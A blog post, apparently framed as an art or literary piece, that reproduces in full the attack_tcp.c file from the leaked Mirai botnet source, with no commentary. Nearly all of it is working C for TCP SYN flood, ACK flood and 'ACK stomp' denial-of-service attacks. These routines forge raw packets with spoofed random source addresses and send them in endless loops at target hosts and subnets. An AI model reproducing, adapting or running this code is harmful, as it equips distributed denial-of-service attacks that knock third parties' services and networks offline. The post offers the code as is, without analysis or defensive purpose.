Friday, March 16, 2018

Kanz Eku, attack_tcp.c, From Leaked Mirai Botnet Code


Mirai Botnet, attack_tcp.c, image by Daniel Y. Harris  




attack_tcp.c
Kanz Eku
From Leaked Mirai Botnet Code



#define _GNU_SOURCE

#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <fcntl.h>
#include <errno.h>
#include "includes.h"
#include "attack.h"
#include "checksum.h"
#include "rand.h"

void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
    int i, fd;
    char **pkts = calloc(targs_len, sizeof (char *));
    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
    uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
    uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0);
    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE);
    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE);
    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
    uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);

    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
#ifdef DEBUG
        printf("Failed to create raw socket. Aborting attack\n");
#endif
        return;
    }
   
    i = 1;
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
    {
#ifdef DEBUG
        printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
        close(fd);
        return;
    }

    for (i = 0; i < targs_len; i++)
    {
        struct iphdr *iph;
        struct tcphdr *tcph;
        uint8_t *opts;

        pkts[i] = calloc(128, sizeof (char));
        iph = (struct iphdr *)pkts[i];
        tcph = (struct tcphdr *)(iph + 1);
        opts = (uint8_t *)(tcph + 1);

        iph->version = 4;
        iph->ihl = 5;
        iph->tos = ip_tos;
        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20);
        iph->id = htons(ip_ident);
        iph->ttl = ip_ttl;
        if (dont_frag)
            iph->frag_off = htons(1 << 14);
        iph->protocol = IPPROTO_TCP;
        iph->saddr = source_ip;
        iph->daddr = targs[i].addr;

        tcph->source = htons(sport);
        tcph->dest = htons(dport);
        tcph->seq = htons(seq);
        tcph->doff = 10;
        tcph->urg = urg_fl;
        tcph->ack = ack_fl;
        tcph->psh = psh_fl;
        tcph->rst = rst_fl;
        tcph->syn = syn_fl;
        tcph->fin = fin_fl;

        // TCP MSS
        *opts++ = PROTO_TCP_OPT_MSS;    // Kind
        *opts++ = 4;                    // Length
        *((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f));
        opts += sizeof (uint16_t);

        // TCP SACK permitted
        *opts++ = PROTO_TCP_OPT_SACK;
        *opts++ = 2;

        // TCP timestamps
        *opts++ = PROTO_TCP_OPT_TSVAL;
        *opts++ = 10;
        *((uint32_t *)opts) = rand_next();
        opts += sizeof (uint32_t);
        *((uint32_t *)opts) = 0;
        opts += sizeof (uint32_t);

        // TCP nop
        *opts++ = 1;

        // TCP window scale
        *opts++ = PROTO_TCP_OPT_WSS;
        *opts++ = 3;
        *opts++ = 6; // 2^6 = 64, window size scale = 64
    }

    while (TRUE)
    {
        for (i = 0; i < targs_len; i++)
        {
            char *pkt = pkts[i];
            struct iphdr *iph = (struct iphdr *)pkt;
            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
           
            // For prefix attacks
            if (targs[i].netmask < 32)
                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));

            if (source_ip == 0xffffffff)
                iph->saddr = rand_next();
            if (ip_ident == 0xffff)
                iph->id = rand_next() & 0xffff;
            if (sport == 0xffff)
                tcph->source = rand_next() & 0xffff;
            if (dport == 0xffff)
                tcph->dest = rand_next() & 0xffff;
            if (seq == 0xffff)
                tcph->seq = rand_next();
            if (ack == 0xffff)
                tcph->ack_seq = rand_next();
            if (urg_fl)
                tcph->urg_ptr = rand_next() & 0xffff;

            iph->check = 0;
            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

            tcph->check = 0;
            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + 20), sizeof (struct tcphdr) + 20);

            targs[i].sock_addr.sin_port = tcph->dest;
            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + 20, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
        }
#ifdef DEBUG
            break;
            if (errno != 0)
                printf("errno = %d\n", errno);
#endif
    }
}

void attack_tcp_ack(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
    int i, fd;
    char **pkts = calloc(targs_len, sizeof (char *));
    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, FALSE);
    port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff);
    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
    uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff);
    uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0xffff);
    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE);
    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
    int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512);
    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);
    uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR);

    if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
#ifdef DEBUG
        printf("Failed to create raw socket. Aborting attack\n");
#endif
        return;
    }
    i = 1;
    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
    {
#ifdef DEBUG
        printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
        close(fd);
        return;
    }

    for (i = 0; i < targs_len; i++)
    {
        struct iphdr *iph;
        struct tcphdr *tcph;
        char *payload;

        pkts[i] = calloc(1510, sizeof (char));
        iph = (struct iphdr *)pkts[i];
        tcph = (struct tcphdr *)(iph + 1);
        payload = (char *)(tcph + 1);

        iph->version = 4;
        iph->ihl = 5;
        iph->tos = ip_tos;
        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
        iph->id = htons(ip_ident);
        iph->ttl = ip_ttl;
        if (dont_frag)
            iph->frag_off = htons(1 << 14);
        iph->protocol = IPPROTO_TCP;
        iph->saddr = source_ip;
        iph->daddr = targs[i].addr;

        tcph->source = htons(sport);
        tcph->dest = htons(dport);
        tcph->seq = htons(seq);
        tcph->doff = 5;
        tcph->urg = urg_fl;
        tcph->ack = ack_fl;
        tcph->psh = psh_fl;
        tcph->rst = rst_fl;
        tcph->syn = syn_fl;
        tcph->fin = fin_fl;
        tcph->window = rand_next() & 0xffff;
        if (psh_fl)
            tcph->psh = TRUE;

        rand_str(payload, data_len);
    }

//    targs[0].sock_addr.sin_port = tcph->dest;
//    if (sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[0].sock_addr, sizeof (struct sockaddr_in)) < 1)
//    {
//
//    }

    while (TRUE)
    {
        for (i = 0; i < targs_len; i++)
        {
            char *pkt = pkts[i];
            struct iphdr *iph = (struct iphdr *)pkt;
            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
            char *data = (char *)(tcph + 1);

            // For prefix attacks
            if (targs[i].netmask < 32)
                iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));

            if (source_ip == 0xffffffff)
                iph->saddr = rand_next();
            if (ip_ident == 0xffff)
                iph->id = rand_next() & 0xffff;
            if (sport == 0xffff)
                tcph->source = rand_next() & 0xffff;
            if (dport == 0xffff)
                tcph->dest = rand_next() & 0xffff;
            if (seq == 0xffff)
                tcph->seq = rand_next();
            if (ack == 0xffff)
                tcph->ack_seq = rand_next();

            // Randomize packet content?
            if (data_rand)
                rand_str(data, data_len);

            iph->check = 0;
            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

            tcph->check = 0;
            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);

            targs[i].sock_addr.sin_port = tcph->dest;
            sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
        }
#ifdef DEBUG
            break;
            if (errno != 0)
                printf("errno = %d\n", errno);
#endif
    }
}

void attack_tcp_stomp(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts)
{
    int i, rfd;
    struct attack_stomp_data *stomp_data = calloc(targs_len, sizeof (struct attack_stomp_data));
    char **pkts = calloc(targs_len, sizeof (char *));
    uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0);
    uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff);
    uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64);
    BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE);
    port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff);
    BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE);
    BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, TRUE);
    BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, TRUE);
    BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE);
    BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, FALSE);
    BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE);
    int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 768);
    BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE);

    // Set up receive socket
    if ((rfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)
    {
#ifdef DEBUG
        printf("Could not open raw socket!\n");
#endif
        return;
    }
    i = 1;
    if (setsockopt(rfd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1)
    {
#ifdef DEBUG
        printf("Failed to set IP_HDRINCL. Aborting\n");
#endif
        close(rfd);
        return;
    }

    // Retrieve all ACK/SEQ numbers
    for (i = 0; i < targs_len; i++)
    {
        int fd;
        struct sockaddr_in addr, recv_addr;
        socklen_t recv_addr_len;
        char pktbuf[256];
        time_t start_recv;

        stomp_setup_nums:

        if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
        {
#ifdef DEBUG
            printf("Failed to create socket!\n");
#endif
            continue;
        }

        // Set it in nonblocking mode
        fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);

        // Set up address to connect to
        addr.sin_family = AF_INET;
        if (targs[i].netmask < 32)
            addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask));
        else
            addr.sin_addr.s_addr = targs[i].addr;
        if (dport == 0xffff)
            addr.sin_port = rand_next() & 0xffff;
        else
            addr.sin_port = htons(dport);

        // Actually connect, nonblocking
        connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
        start_recv = time(NULL);

        // Get info
        while (TRUE)
        {
            int ret;

            recv_addr_len = sizeof (struct sockaddr_in);
            ret = recvfrom(rfd, pktbuf, sizeof (pktbuf), MSG_NOSIGNAL, (struct sockaddr *)&recv_addr, &recv_addr_len);
            if (ret == -1)
            {
#ifdef DEBUG
                printf("Could not listen on raw socket!\n");
#endif
                return;
            }
            if (recv_addr.sin_addr.s_addr == addr.sin_addr.s_addr && ret > (sizeof (struct iphdr) + sizeof (struct tcphdr)))
            {
                struct tcphdr *tcph = (struct tcphdr *)(pktbuf + sizeof (struct iphdr));

                if (tcph->source == addr.sin_port)
                {
                    if (tcph->syn && tcph->ack)
                    {
                        struct iphdr *iph;
                        struct tcphdr *tcph;
                        char *payload;

                        stomp_data[i].addr = addr.sin_addr.s_addr;
                        stomp_data[i].seq = ntohl(tcph->seq);
                        stomp_data[i].ack_seq = ntohl(tcph->ack_seq);
                        stomp_data[i].sport = tcph->dest;
                        stomp_data[i].dport = addr.sin_port;
#ifdef DEBUG
                        printf("ACK Stomp got SYN+ACK!\n");
#endif
                        // Set up the packet
                        pkts[i] = malloc(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
                        iph = (struct iphdr *)pkts[i];
                        tcph = (struct tcphdr *)(iph + 1);
                        payload = (char *)(tcph + 1);

                        iph->version = 4;
                        iph->ihl = 5;
                        iph->tos = ip_tos;
                        iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len);
                        iph->id = htons(ip_ident);
                        iph->ttl = ip_ttl;
                        if (dont_frag)
                            iph->frag_off = htons(1 << 14);
                        iph->protocol = IPPROTO_TCP;
                        iph->saddr = LOCAL_ADDR;
                        iph->daddr = stomp_data[i].addr;

                        tcph->source = stomp_data[i].sport;
                        tcph->dest = stomp_data[i].dport;
                        tcph->seq = stomp_data[i].ack_seq;
                        tcph->ack_seq = stomp_data[i].seq;
                        tcph->doff = 8;
                        tcph->fin = TRUE;
                        tcph->ack = TRUE;
                        tcph->window = rand_next() & 0xffff;
                        tcph->urg = urg_fl;
                        tcph->ack = ack_fl;
                        tcph->psh = psh_fl;
                        tcph->rst = rst_fl;
                        tcph->syn = syn_fl;
                        tcph->fin = fin_fl;

                        rand_str(payload, data_len);
                        break;
                    }
                    else if (tcph->fin || tcph->rst)
                    {
                        close(fd);
                        goto stomp_setup_nums;
                    }
                }
            }

            if (time(NULL) - start_recv > 10)
            {
#ifdef DEBUG
                printf("Couldn't connect to host for ACK Stomp in time. Retrying\n");
#endif
                close(fd);
                goto stomp_setup_nums;
            }
        }
    }

    // Start spewing out traffic
    while (TRUE)
    {
        for (i = 0; i < targs_len; i++)
        {
            char *pkt = pkts[i];
            struct iphdr *iph = (struct iphdr *)pkt;
            struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
            char *data = (char *)(tcph + 1);

            if (ip_ident == 0xffff)
                iph->id = rand_next() & 0xffff;

            if (data_rand)
                rand_str(data, data_len);

            iph->check = 0;
            iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));

            tcph->seq = htons(stomp_data[i].seq++);
            tcph->ack_seq = htons(stomp_data[i].ack_seq);
            tcph->check = 0;
            tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr) + data_len), sizeof (struct tcphdr) + data_len);

            targs[i].sock_addr.sin_port = tcph->dest;
            sendto(rfd, pkt, sizeof (struct iphdr) + sizeof (struct tcphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in));
        }
#ifdef DEBUG
            break;
            if (errno != 0)
                printf("errno = %d\n", errno);
#endif
    }
}


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